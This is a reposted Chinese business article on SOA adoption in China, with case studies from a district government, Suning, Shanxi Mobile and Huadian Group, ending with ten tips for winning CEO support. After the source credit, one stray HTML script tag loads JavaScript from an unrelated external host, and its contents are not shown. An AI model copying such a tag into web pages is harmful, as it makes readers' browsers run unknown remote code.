SOA平衡术
盡管技術(shù)廠商們合力營(yíng)造出服務(wù)導(dǎo)向架構(gòu)(SOA)的樂觀前景,期望沖淡企業(yè)用戶的觀望氣氛,并推動(dòng)他們盡快部署這一軟件技術(shù)。但更多的跡象顯示,SOA越來越像早期狀態(tài)的企業(yè)資源規(guī)劃系統(tǒng)(ERP),能否成功部署取決于企業(yè)的業(yè)務(wù)驅(qū)動(dòng)力、技術(shù)能力和推動(dòng)決心。
與大多數(shù)新興技術(shù)一樣,SOA在中國(guó)的早期部署用戶大多集中于電信、金融、航運(yùn)等大型企業(yè)和政府機(jī)構(gòu)。畢竟,只有這些具備較為成熟、完善、領(lǐng)先IT系統(tǒng)的用戶,才有主動(dòng)了解新技術(shù)與新趨勢(shì)的強(qiáng)烈動(dòng)力;同時(shí),由于這些企業(yè)所處的市場(chǎng)環(huán)境變化快,存在建立更具靈活性IT基礎(chǔ)架構(gòu)的迫切之需,因此更容易率先采用SOA。
但較為審慎的觀點(diǎn)認(rèn)為,SOA在“試金石”企業(yè)發(fā)揮的價(jià)值尚不能就此蓋棺定論。通常,新技術(shù)的早期部署都存在一定的風(fēng)險(xiǎn)性,對(duì)于新生事物SOA,企業(yè)用戶通常不會(huì)一開始就全盤接受,而是采取逐步測(cè)試策略,需要較長(zhǎng)的時(shí)間來衡量SOA價(jià)值。
過于強(qiáng)調(diào)SOA價(jià)值與趨勢(shì),而風(fēng)險(xiǎn)提示不足,這不能不令人聯(lián)想起當(dāng)年ERP早期應(yīng)用階段遭遇到的大規(guī)模部署失敗經(jīng)歷。
因此,在技術(shù)廠商的積極推動(dòng)與誘惑下,如何保持適合自身的應(yīng)用平衡,正成為企業(yè)用戶的一大考驗(yàn)。
部署前的準(zhǔn)備
在ERP的第一波應(yīng)用浪潮時(shí)期,中國(guó)企業(yè)內(nèi)部治理結(jié)構(gòu)與流程化軟件之間的沖突釀就了ERP的多起失敗案例。今天,類似的疑問同樣落在了SOA身上。在現(xiàn)實(shí)的中國(guó)企業(yè)治理環(huán)境下,SOA需要正視市場(chǎng)需求,而不是試圖構(gòu)建理想中的“烏托邦”模式。
江蘇省南京市玄武區(qū)政府基于SOA架構(gòu),搭建了統(tǒng)一的電子政務(wù)基礎(chǔ)平臺(tái)。不僅如此,作為該區(qū)“陽光政務(wù)”工程的組成部分,在電子政務(wù)平臺(tái)之上,玄武區(qū)還成功地整合了財(cái)務(wù)、計(jì)生、民政、發(fā)改、衛(wèi)生、市容等政務(wù)應(yīng)用系統(tǒng),建立了一個(gè)能夠在線自動(dòng)化處理行政審批業(yè)務(wù)的網(wǎng)上虛擬電子政務(wù)大廳。
不過,盡管玄武區(qū)政府信息中心主任呂明高度評(píng)價(jià)該項(xiàng)目的技術(shù)實(shí)現(xiàn)和技術(shù)構(gòu)架,但是政府機(jī)構(gòu)自身的行政劃分,卻使系統(tǒng)的許多功能未能有效發(fā)揮。呂明坦承,不管是基于國(guó)際商業(yè)機(jī)器公司(IBM)的架構(gòu)系統(tǒng),抑或是來自其他廠商的系統(tǒng),還是玄武區(qū)自身開發(fā)的系統(tǒng),都可以在SOA的架構(gòu)里面得到重用,并通過基于標(biāo)準(zhǔn)卻又具備靈活性的架構(gòu)得到集成。項(xiàng)目同時(shí)也基本達(dá)到了政務(wù)公開的目標(biāo),大幅提高了政府辦事效率。但是,這并不能真正實(shí)現(xiàn)信息的完全整合,比如工商、稅務(wù)等市屬垂直管理部門的數(shù)據(jù)目前依然很難整合到統(tǒng)一平臺(tái)上,原因是目前行政管理劃分上存在障礙。
一些國(guó)外的SOA應(yīng)用案例顯示,即便是歐洲企業(yè),它們與美國(guó)企業(yè)在SOA的部署方式上也不盡相同。IBM軟件集團(tuán)WebSphere全球副總裁桑蒂·卡特(Sandy Carter)透露,歐洲企業(yè)采納SOA比美國(guó)企業(yè)更快,這是因?yàn)镾OA比較面向流程,而歐洲企業(yè)普遍對(duì)流程非常注重。英國(guó)的標(biāo)準(zhǔn)人壽保險(xiǎn)公司(Standard Life)定義了300多個(gè)可重用的網(wǎng)絡(luò)服務(wù)(Web Service)措施,并以這些網(wǎng)絡(luò)服務(wù)搭建新的服務(wù)產(chǎn)品。該項(xiàng)目純粹從技術(shù)入手,卻通過SOA提升了客戶關(guān)系管理和客戶服務(wù)的能力。而作為典型的美國(guó)用戶,美洲銀行(Bank of America)采取了另一種模式。美洲銀行部署SOA時(shí),首先選擇了企業(yè)服務(wù)總線(ESB),把原來的IT系統(tǒng)從點(diǎn)到點(diǎn)的連接轉(zhuǎn)變?yōu)橛肊SB連接。
顯然,不同的公司治理環(huán)境決定了不同的SOA部署方式。因此,卡特建議中國(guó)的企業(yè)用戶,SOA部署可以從一個(gè)小項(xiàng)目開始,從而避免可能的風(fēng)險(xiǎn)。卡特特別提醒中國(guó)用戶,需要多注意SOA的治理模型,以及流程管控,以保證項(xiàng)目順利進(jìn)行。
《信息周刊》2006年所做的SOA應(yīng)用調(diào)查也發(fā)現(xiàn),雖然大多數(shù)被調(diào)查企業(yè)都認(rèn)可SOA的業(yè)務(wù)價(jià)值,但如何與公司管理層溝通該業(yè)務(wù)價(jià)值仍然是一個(gè)不小的障礙。對(duì)此,IBM表示,為了縮小IT團(tuán)隊(duì)與企業(yè)管理者之間對(duì)SOA的認(rèn)識(shí)差距,該公司已經(jīng)開發(fā)出了名為Innov8的互動(dòng)SOA游戲,可以進(jìn)行交互式的模擬業(yè)務(wù)流程管理(BPM)三維學(xué)習(xí),幫助用戶預(yù)見部署SOA過程中可能出現(xiàn)的各種問題。
復(fù)雜的中國(guó)市場(chǎng)
中國(guó)企業(yè)部署SOA的復(fù)雜之處并非全在于治理難題,還在于劇烈變化的市場(chǎng)環(huán)境。作為新興市場(chǎng),一些本土企業(yè)的商業(yè)創(chuàng)新甚至領(lǐng)先于跨國(guó)企業(yè),因此也面臨更多未知的問題。不過,這恰恰也意味著,為了洞察商業(yè)未來,中國(guó)企業(yè)需要建立更具靈活性、適應(yīng)性、擴(kuò)展性的IT基礎(chǔ)架構(gòu),因此,SOA存在巨大的發(fā)揮機(jī)會(huì)和應(yīng)用空間。
蘇寧電器股份有限公司(下稱蘇寧)的目標(biāo)是成為世界級(jí)的家電零售巨頭,用他們的話說就是成為“行業(yè)標(biāo)準(zhǔn)的制訂者”,但現(xiàn)實(shí)的市場(chǎng)形勢(shì)并不容樂觀。競(jìng)爭(zhēng)對(duì)手國(guó)美電器控股有限公司收購了另一家重量級(jí)家電零售商永樂(中國(guó))電器銷售有限公司,擴(kuò)充了門店規(guī)模及實(shí)力。蘇寧的應(yīng)對(duì)策略是,保持前臺(tái)門店高速擴(kuò)張,同時(shí)加強(qiáng)后臺(tái)管理,包括建立高度靈活又能實(shí)現(xiàn)高度管控的系統(tǒng)架構(gòu),通過IT提升運(yùn)營(yíng)能力。“蘇寧能夠?qū)崿F(xiàn)高速穩(wěn)健的增長(zhǎng),在于前臺(tái)、后臺(tái)的投入是比較均衡的。”蘇寧執(zhí)行總裁孫為民稱。
去年4月,蘇寧上線了新的SAP零售業(yè)解決方案,如今跨地區(qū)跨平臺(tái)管理,異地遠(yuǎn)程實(shí)時(shí)監(jiān)控、業(yè)務(wù)托管等都已不在話下。目前,IBM公司又在幫助蘇寧用SOA重新構(gòu)架其IT系統(tǒng),建立適合未來業(yè)務(wù)發(fā)展的流程,以實(shí)現(xiàn)更快的業(yè)務(wù)擴(kuò)張。
但是,由于中國(guó)市場(chǎng)變化迅速,對(duì)于未來業(yè)務(wù)的發(fā)展以及流程的變化,多數(shù)企業(yè)不像蘇寧擁有清晰的戰(zhàn)略以及詳細(xì)的規(guī)劃。“部署SOA最好應(yīng)該有一張明晰的路線圖,”賽迪顧問股份有限公司軟件產(chǎn)業(yè)研究中心總經(jīng)理牟淑慧提醒道,部署SOA之前,企業(yè)用戶最好做好IT規(guī)劃,不然要么沒完沒了地修修補(bǔ)補(bǔ),要么付出很大的成本去替換和整合系統(tǒng),代價(jià)很大。
牟淑慧進(jìn)一步建議,在實(shí)施SOA時(shí),企業(yè)的原有系統(tǒng)如果利用率比較高,可以充分發(fā)揮原有系統(tǒng)的價(jià)值,通過對(duì)系統(tǒng)代碼進(jìn)行劃分、打包、封裝,實(shí)現(xiàn)可重用。在上線新系統(tǒng)的時(shí)候,則要注意與原有系統(tǒng)的接口,要用基于SOA的思想去設(shè)計(jì)規(guī)劃新的信息系統(tǒng)。
業(yè)務(wù)驅(qū)動(dòng)
經(jīng)歷過早年趕時(shí)髦盲目上馬ERP的慘痛教訓(xùn),中國(guó)企業(yè)對(duì)部署新技術(shù)的態(tài)度正變得越來越現(xiàn)實(shí)與客觀。部署SOA應(yīng)由業(yè)務(wù)需求驅(qū)動(dòng),正成為企業(yè)的共識(shí)。中國(guó)移動(dòng)集團(tuán)公司山西有限公司(下稱山西移動(dòng))當(dāng)時(shí)采納SOA,正是出于應(yīng)對(duì)移動(dòng)通信產(chǎn)業(yè)劇烈變化帶來的業(yè)務(wù)轉(zhuǎn)型壓力之舉。
近幾年以來,隨著電信與IT工業(yè)的融合,三網(wǎng)在IP上的融合,使電信、媒體和互聯(lián)網(wǎng)的界限越來越模糊,谷歌公司(Google)、雅虎公司(Yahoo)等給移動(dòng)通信產(chǎn)業(yè)帶來了觀念和現(xiàn)實(shí)的沖擊。“一般5年就會(huì)有一次大的技術(shù)變動(dòng),而電信行業(yè)每過7年就會(huì)有大的變動(dòng)。因此,再過3年電信行業(yè)就會(huì)非常困難非常艱苦。”山西移動(dòng)IT規(guī)劃研究室主任陳鋼認(rèn)為。
互聯(lián)網(wǎng)創(chuàng)新技術(shù)的挑戰(zhàn)使移動(dòng)通信公司不僅對(duì)新技術(shù)非常敏感,而且更加強(qiáng)調(diào)服務(wù)模式的創(chuàng)新,并通過細(xì)分市場(chǎng)服務(wù)不同客戶。“通信已經(jīng)不是‘業(yè)務(wù)’而是一項(xiàng)‘網(wǎng)絡(luò)服務(wù)’,”陳鋼說。業(yè)務(wù)流程已成為移動(dòng)通信企業(yè)的制勝關(guān)鍵,山西移動(dòng)也必須通過流程改進(jìn),將后臺(tái)系統(tǒng)前移,從而適應(yīng)市場(chǎng)的變化。
作為中國(guó)移動(dòng)通信集團(tuán)公司的全資子公司,山西移動(dòng)成立之時(shí),中國(guó)的移動(dòng)通信正處于飛速發(fā)展時(shí)期,在短短的6年里,山西移動(dòng)迅速成長(zhǎng)為年收入達(dá)68億元,服務(wù)網(wǎng)點(diǎn)覆蓋山西全省上百個(gè)縣(市),用戶愈750萬的大企業(yè)。
經(jīng)過近6年的努力,山西移動(dòng)在業(yè)務(wù)快速增長(zhǎng)的同時(shí),建成了以支撐網(wǎng)絡(luò)、網(wǎng)管中心和基于辦公自動(dòng)化的企業(yè)業(yè)務(wù)管理網(wǎng)三大分支為主體的IT基礎(chǔ)架構(gòu)體系。而在每一個(gè)分支下面,又包含若干個(gè)應(yīng)用系統(tǒng),比如支撐網(wǎng)就是由計(jì)費(fèi)系統(tǒng)、數(shù)據(jù)倉庫系統(tǒng)和客戶服務(wù)系統(tǒng)等應(yīng)用系統(tǒng)構(gòu)成的復(fù)雜體系。然而,這樣的IT應(yīng)用結(jié)構(gòu),真正面對(duì)不斷變化的客戶服務(wù)需求時(shí),往往因?yàn)闃I(yè)務(wù)流程間缺乏統(tǒng)一的規(guī)劃,致使服務(wù)于不同業(yè)務(wù)的流程彼此相互分割。
于是,山西移動(dòng)痛下決心改造IT架構(gòu),而改造的核心是SOA。“SOA可以實(shí)現(xiàn)內(nèi)外部的協(xié)同,可以做到隨處可用、良好信用、簡(jiǎn)單易用。”陳鋼認(rèn)為。
山西移動(dòng)的業(yè)務(wù)流程改造目標(biāo)是從網(wǎng)絡(luò)為中心轉(zhuǎn)變?yōu)橐苑?wù)為中心,成為實(shí)現(xiàn)“信息專家”的戰(zhàn)略定位。這一目標(biāo)驅(qū)動(dòng)了IT架構(gòu)向SOA的轉(zhuǎn)變。“只有快速應(yīng)變的架構(gòu)才能在今后的5年內(nèi)成為幸存者。”陳鋼說道。
目前,山西移動(dòng)通過基于SOA架構(gòu)搭建“企業(yè)創(chuàng)新業(yè)務(wù)平臺(tái)”,構(gòu)建了流程清晰、響應(yīng)及時(shí)的業(yè)務(wù)服務(wù)體系,幫助企業(yè)快速應(yīng)對(duì)市場(chǎng)需求和變化,實(shí)現(xiàn)創(chuàng)新;同時(shí),靈活的、可擴(kuò)展的企業(yè)IT基礎(chǔ)架構(gòu)平臺(tái)可以有效提升企業(yè)運(yùn)營(yíng)效率、IT系統(tǒng)靈活性以及客戶服務(wù)水平。至今,山西移動(dòng)的客戶投訴響應(yīng)時(shí)間已經(jīng)從數(shù)天降為5分鐘;客戶綜合信息查詢時(shí)間從15分鐘降為實(shí)時(shí)。
“SOA能夠幫助中國(guó)企業(yè)提供快速的產(chǎn)品和快速的服務(wù),從而應(yīng)對(duì)全球化的壓力。”IBM大中華區(qū)軟件集團(tuán)總經(jīng)理拜特·德米克(Bete Demeke)表示。他認(rèn)為,SOA主要面臨技能的挑戰(zhàn),包括業(yè)務(wù)的驅(qū)動(dòng)以及企業(yè)IT的能力。
“首先要看這個(gè)企業(yè)有沒有業(yè)務(wù)驅(qū)動(dòng)力來做,比如提高客戶需求、進(jìn)入新市場(chǎng)、提供好的服務(wù)等,要找出他們的業(yè)務(wù)驅(qū)動(dòng)力。”德米克透露,IBM會(huì)根據(jù)企業(yè)的業(yè)務(wù)驅(qū)動(dòng)力排優(yōu)先級(jí);既可以提供端到端的解決方案,又可以從SOA的5個(gè)切入點(diǎn)單個(gè)切入;或者先進(jìn)行人員、流程、信息整合;再或者從IT角度進(jìn)行系統(tǒng)的整合。
毋庸置疑,新興技術(shù)總是機(jī)遇與風(fēng)險(xiǎn)并存。與ERP的早期應(yīng)用類似,SOA可能會(huì)改造出全新的企業(yè)運(yùn)營(yíng)模式,也可能釀成一場(chǎng)IT災(zāi)難。在欣欣向榮的SOA浪潮中,保持足夠的清醒以及對(duì)業(yè)務(wù)趨勢(shì)的深入認(rèn)識(shí),對(duì)企業(yè)用戶與SOA的共舞有百利而無一弊。
華電集團(tuán)的SOA實(shí)踐
SOA在中國(guó)華電集團(tuán)公司(下稱華電集團(tuán))不僅意味著整合,而且意味著新應(yīng)用平臺(tái)的建設(shè)。該集團(tuán)信息中心主任唐義良分析道,國(guó)內(nèi)發(fā)電企業(yè)IT面臨諸多挑戰(zhàn),包括IT治理如何促進(jìn)業(yè)務(wù)部門和IT部門的協(xié)作;IT架構(gòu)如何適應(yīng)業(yè)務(wù)的流程變化;以及如何集成異構(gòu)系統(tǒng)的數(shù)據(jù)等。
為此,華電集團(tuán)希望建立新的架構(gòu)平臺(tái),支持靈活的企業(yè)目標(biāo)和業(yè)務(wù)模型,適應(yīng)快速變化的電力市場(chǎng);實(shí)現(xiàn)各地電廠信息資源的共享;將現(xiàn)有系統(tǒng)功能模塊改造成可重用的獨(dú)立服務(wù);培植并構(gòu)建新的服務(wù)和新的流程。
在實(shí)際操作中,華電集團(tuán)采用了兩條產(chǎn)品線,一條包括IBMDB2 V9數(shù)據(jù)庫,IIG系統(tǒng),Websphere中間件以及Netapp存儲(chǔ)和Juniper網(wǎng)絡(luò)系統(tǒng)。另一條則采用了Oracle數(shù)據(jù)庫和畢益輝系統(tǒng)公司(BEA Systems)的Weblogic中間件。
華電集團(tuán)在新的平臺(tái)上全面采用J2EE的架構(gòu)。“我們的SOA策略是:采用面向服務(wù)的集成策略,在SOA環(huán)境下應(yīng)用WEB服務(wù)進(jìn)行集成,并逐步過渡到SOA架構(gòu)的實(shí)施技術(shù)路線。”唐義良說道。
唐義良強(qiáng)調(diào),華電集團(tuán)新建的系統(tǒng)一定要在SOA平臺(tái)上建設(shè);而不是新建一個(gè)系統(tǒng),再在SOA平臺(tái)上整合。此外,項(xiàng)目團(tuán)隊(duì)的組成也十分關(guān)鍵。華電集團(tuán)的SOA項(xiàng)目管理由決策層、領(lǐng)導(dǎo)層、業(yè)務(wù)需求管理團(tuán)隊(duì)、項(xiàng)目建設(shè)運(yùn)維團(tuán)隊(duì)組成,同時(shí)由數(shù)據(jù)庫管理員、流程管理員、門戶管理員以及存儲(chǔ)管理員等提供技術(shù)支持。
讓CEO接受SOA的10條建議
一、談業(yè)務(wù),而不是先提SOA。在進(jìn)入技術(shù)層面的討論前,要用業(yè)務(wù)的語言,說明SOA帶來的價(jià)值和好處。這些價(jià)值和好處,要和企業(yè)的目標(biāo)掛鉤,比如成本降低、提高生產(chǎn)效率、增強(qiáng)競(jìng)爭(zhēng)優(yōu)勢(shì)等。
二、展示前景,而不是具體描述。概括出SOA策略的長(zhǎng)期和短期結(jié)果,避免討論具體的描述性數(shù)據(jù)。
三、在整個(gè)公司建立共識(shí)。在公司招募志愿部門先參與小型試驗(yàn)項(xiàng)目。通過這些小型項(xiàng)目來證明SOA的價(jià)值。記得,要讓那些以后你需要的部門領(lǐng)導(dǎo)們參與進(jìn)來。
四、從小事做起,但要有宏觀視野。在選擇小型測(cè)試項(xiàng)目時(shí),要選擇那些在整個(gè)公司都廣泛使用、具有全公司積極影響的業(yè)務(wù)流程先進(jìn)行整合和自動(dòng)化。
五、不要再說SOA這三個(gè)字母。雖然這個(gè)技術(shù)術(shù)語非常容易被記住,大家也很容易理解,但記住,當(dāng)你想向CEO證明這是一個(gè)重要的策略性項(xiàng)目時(shí),他們可能并不理解這三個(gè)簡(jiǎn)寫字母背后的深刻含義。
六、單刀直入討論最重要的要點(diǎn)。不要用復(fù)雜的PPT演示文檔,這可能會(huì)讓會(huì)議達(dá)不到真正的目的。
七、信心和預(yù)測(cè)。清晰明白地說明實(shí)施SOA的每一步目標(biāo),公開宣傳企業(yè)基于SOA后可以實(shí)現(xiàn)的目標(biāo)。比如提高多少生產(chǎn)效率,或者降低多少百分比的成本,這樣就能比較容易地樹立起對(duì)整個(gè)項(xiàng)目和戰(zhàn)略的信心。
八、引用第三方研究數(shù)據(jù)來驗(yàn)證。引用分析師的數(shù)據(jù)來說明SOA的部署和增長(zhǎng),闡述SOA在同行業(yè)中的成功故事(特別是競(jìng)爭(zhēng)對(duì)手的)。
九、談話結(jié)尾:SOA會(huì)帶來什么?闡述采用SOA前后對(duì)企業(yè)的具體影響,消除敵意,贏得CEO的支持。
十、定性與定量。在實(shí)施SOA過程中,每一步都要制定目標(biāo),追蹤表現(xiàn)結(jié)果,并優(yōu)化方法。定期與利益相關(guān)方分享結(jié)果,證明公司SOA部署的成功之處。
—摘自IBM軟件集團(tuán)WebSphere全球副總裁桑蒂·卡特(Sandy Carter)的網(wǎng)絡(luò)日志
[1] [2] [3] [下一頁]
文章來源于 http://www.cnblogs.com/zhangzs8896 版權(quán)歸原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
總結(jié)
- 上一篇: 一个研究生学历到底值多少钱?认真算一下我
- 下一篇: 编程如何考上名校,以及如何学习编程